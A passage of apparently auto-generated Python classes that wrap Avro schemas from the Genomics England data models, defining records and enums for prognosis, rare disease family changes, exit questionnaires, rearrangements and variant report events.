"string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "conditions", "description", "prognosis", "referenceUrl", "references", "source", "variantActionable", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'conditions', 'description', 'prognosis', 'referenceUrl', 'references', 'source', 'variantActionable' ] def __init__(self, **kwargs): self.conditions = kwargs.get( 'conditions', None) self.description = kwargs.get( 'description', None) self.prognosis = kwargs.get( 'prognosis', None) self.referenceUrl = kwargs.get( 'referenceUrl', None) self.references = kwargs.get( 'references', None) self.source = kwargs.get( 'source', None) self.variantActionable = kwargs.get( 'variantActionable', None) class PrognosisClassification(object): """ No documentation """ altered_prognosis = "altered_prognosis" favourable_prognosis = "favourable_prognosis" unfavourable_prognosis = "unfavourable_prognosis" def __hash__(self): return str(self).__hash__() class Program(object): """ The Genomics England program """ cancer = "cancer" rare_disease = "rare_disease" def __hash__(self): return str(self).__hash__() class ProgrammePhase(object): """ No documentation """ CRUK = "CRUK" OXFORD = "OXFORD" CLL = "CLL" IIP = "IIP" MAIN = "MAIN" EXPT = "EXPT" def __hash__(self): return str(self).__hash__() class Progression(object): """ No documentation """ PROGRESSIVE = "PROGRESSIVE" NONPROGRESSIVE = "NONPROGRESSIVE" def __hash__(self): return str(self).__hash__() class RDFamilyChange(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "RDFamilyChange", "namespace": "org.gel.models.participant.avro", "fields": [{"name": "FamilyId", "type": "string", "doc": ""}, {"name": "code", "type": {"type": "enum", "name": "RDFamilyChangeCode", "doc": "", "symbols": ["FamilyAdded", "FamilyDeleted", "ProbandChanged", "ParticipantAdded", "ParticipantRemoved", "ConsentStatusChanged", "AffectionStatusChanged", "PanelAssignmentChanged", "SexChanged", "SampleChanged"]}, "doc": ""}, {"name": "Family", "type": {"type": "record", "name": "Pedigree", "doc": "", "fields": [{"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name": "LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc": ""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name": "PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type": "record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null", {"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"], "doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string", "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type": ["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "Family", "FamilyId", "code", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'Family': Pedigree, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'Family': Pedigree, } return embeddedTypes[fieldName] __slots__ = [ 'Family', 'FamilyId', 'code' ] def __init__(self, **kwargs): self.Family = kwargs.get( 'Family', Pedigree()) self.FamilyId = kwargs.get( 'FamilyId', None) self.code = kwargs.get( 'code', None) class RDFamilyChangeCode(object): """ This code define the change type: * `FamilyAdded`: This is a new family. * `FamilyDeleted`: This family should be removed. * `ProbandChanged`: The proband participant is now a different member of the family. * `ParticipantAdded`: A new participant has been sequenced and added to the family. * `ParticipantRemoved`: A participant has been removed. * `ConsentStatusChanged`: One or more participant in this family has a different consent status. * `AffectionStatusChanged`: HPOterms or Disorder changed in one or more participants in this family. * `PanelAssignmentChanged`: Gene Panels has changed in this family. * `SexChanged`: Sex has changed for one or more participants in this family. * `SampleChanged`: The sample/s associated to one or more participant in this family has changed. """ FamilyAdded = "FamilyAdded" FamilyDeleted = "FamilyDeleted" ProbandChanged = "ProbandChanged" ParticipantAdded = "ParticipantAdded" ParticipantRemoved = "ParticipantRemoved" ConsentStatusChanged = "ConsentStatusChanged" AffectionStatusChanged = "AffectionStatusChanged" PanelAssignmentChanged = "PanelAssignmentChanged" SexChanged = "SexChanged" SampleChanged = "SampleChanged" def __hash__(self): return str(self).__hash__() class RareDiseaseExitQuestionnaire(ProtocolElement): """ The rare disease program exit questionnaire """ _schemaSource = """ {"type": "record", "name": "RareDiseaseExitQuestionnaire", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "eventDate", "type": "string", "doc": ""}, {"name": "reporter", "type": "string", "doc": ""}, {"name": "familyLevelQuestions", "type": {"type": "record", "name": "FamilyLevelQuestions", "doc": "", "fields": [{"name": "caseSolvedFamily", "type": {"type": "enum", "name": "CaseSolvedFamily", "symbols": ["yes", "no", "partially", "unknown"]}, "doc": ""}, {"name": "segregationQuestion", "type": {"type": "enum", "name": "SegregationQuestion", "symbols": ["yes", "no"]}, "doc": ""}, {"name": "additionalComments", "type": "string", "doc": ""}]}, "doc": ""}, {"name": "variantGroupLevelQuestions", "type": {"type": "array", "items": {"type": "record", "name": "VariantGroupLevelQuestions", "doc": "", "fields": [{"name": "variantGroup", "type": "int", "doc": ""}, {"name": "variantLevelQuestions", "type": {"type": "array", "items": {"type": "record", "name": "VariantLevelQuestions", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "confirmationDecision", "type": {"type": "enum", "name": "ConfirmationDecision", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "confirmationOutcome", "type": {"type": "enum", "name": "ConfirmationOutcome", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "reportingQuestion", "type": {"type": "enum", "name": "ReportingQuestion", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "acmgClassification", "type": {"type": "enum", "name": "ACMGClassification", "symbols": ["pathogenic_variant", "likely_pathogenic_variant", "variant_of_unknown_clinical_significance", "likely_benign_variant", "benign_variant", "not_assessed"]}, "doc": ""}, {"name": "publications", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "actionability", "type": {"type": "enum", "name": "Actionability", "symbols": ["yes", "no", "not_yet", "na"]}, "doc": ""}, {"name": "clinicalUtility", "type": {"type": "array", "items": {"type": "enum", "name": "ClinicalUtility", "symbols": ["none", "change_in_medication", "surgical_option", "additional_surveillance_for_proband_or_relatives", "clinical_trial_eligibility", "informs_reproductive_choice", "unknown", "other"]}}, "doc": ""}, {"name": "phenotypesSolved", "type": {"type": "enum", "name": "PhenotypesSolved", "symbols": ["yes", "no", "partially", "unknown"]}, "doc": ""}, {"name": "phenotypesExplained", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "eventDate", "familyLevelQuestions", "reporter", "variantGroupLevelQuestions", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'familyLevelQuestions': FamilyLevelQuestions, 'variantGroupLevelQuestions': VariantGroupLevelQuestions, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'familyLevelQuestions': FamilyLevelQuestions, 'variantGroupLevelQuestions': VariantGroupLevelQuestions, } return embeddedTypes[fieldName] __slots__ = [ 'eventDate', 'familyLevelQuestions', 'reporter', 'variantGroupLevelQuestions' ] def __init__(self, **kwargs): self.eventDate = kwargs.get( 'eventDate', None) self.familyLevelQuestions = kwargs.get( 'familyLevelQuestions', FamilyLevelQuestions()) self.reporter = kwargs.get( 'reporter', None) self.variantGroupLevelQuestions = kwargs.get( 'variantGroupLevelQuestions', None) class Rearrangement(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Rearrangement", "namespace": "org.gel.models.report.avro", "fields": [{"name": "leftCoordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "leftCoordinates", "leftInsSeq", "orientation", "rightCoordinates", "rightInsSeq", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'leftCoordinates': Coordinates, 'rightCoordinates': Coordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'leftCoordinates': Coordinates, 'rightCoordinates': Coordinates, } return embeddedTypes[fieldName] __slots__ = [ 'leftCoordinates', 'leftInsSeq', 'orientation', 'rightCoordinates', 'rightInsSeq' ] def __init__(self, **kwargs): self.leftCoordinates = kwargs.get( 'leftCoordinates', Coordinates()) self.leftInsSeq = kwargs.get( 'leftInsSeq', None) self.orientation = kwargs.get( 'orientation', None) self.rightCoordinates = kwargs.get( 'rightCoordinates', Coordinates()) self.rightInsSeq = kwargs.get( 'rightInsSeq', None) class ReportEvent(ProtocolElement): """ A report event holds all the information about why a given variant is relevant to report. The same variant may have several report events. For instance, we may have two report events from the tiering process when two panels are analysed, a positive report from a Genomic Medicine Centre (GMC) will correspond to an additional report event. """ _schemaSource = """ {"type": "record", "name": "ReportEvent", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": 